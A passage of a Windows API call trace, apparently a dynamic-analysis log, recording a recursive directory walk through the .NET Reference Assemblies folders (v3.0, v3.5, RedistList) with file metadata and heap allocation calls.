ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0290.624] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.624] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0290.624] GetProcessHeap () returned 0xaf0000 [0290.624] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0290.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0290.626] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.626] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521bc005, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521bc005, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb81a9200, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0290.626] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5208acea, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5208acea, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb81a9200, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x3d2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0290.626] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521e226f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521e226f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0290.626] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521e226f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521e226f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0290.626] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522084cb, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522084cb, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x46d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0290.626] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521e226f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521e226f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0290.626] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522084cb, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522084cb, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0290.626] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5227abf5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5227abf5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0290.627] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0290.627] GetProcessHeap () returned 0xaf0000 [0290.627] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0290.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0290.627] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.627] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4eb997b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0290.628] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4eb997b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 0 [0290.628] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0290.628] GetProcessHeap () returned 0xaf0000 [0290.628] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0290.628] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9093563c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df28692, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6df4e8ff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0290.628] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9090f3d9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6e7cd0e4, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6e7f3397, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0290.628] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9089cc9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x67be8f4c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x67c0f17b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0290.628] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521498dc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521498dc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x57800, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0290.628] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908e9169, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a50a3f9, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6a55675f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0xcf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0290.628] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908c2efe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a1769df, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6a2819c4, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x516000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0290.628] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5227abf5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5227abf5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0290.629] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522ed308, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522ed308, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0290.629] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522ed308, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522ed308, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x173000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0290.629] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52313584, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x52313584, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xba7cec00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x6f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0290.629] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0290.629] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0290.629] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0290.629] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0290.629] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x110000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0290.630] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522c70c1, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522c70c1, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0290.630] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe797d8f5, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e9367d, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 1 [0290.630] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe797d8f5, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e9367d, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0 [0290.630] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0290.630] GetProcessHeap () returned 0xaf0000 [0290.630] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0290.631] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0290.631] GetProcessHeap () returned 0xaf0000 [0290.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0290.631] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0290.632] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.632] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e9adc0, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e9adc0, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0290.632] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e9adc0, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e9adc0, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x9c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0290.633] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e9adc0, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e9adc0, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0290.633] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e9adc0, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e9adc0, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1 [0290.832] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ec103c, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ec103c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0290.832] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0290.832] GetProcessHeap () returned 0xaf0000 [0290.832] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0290.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference 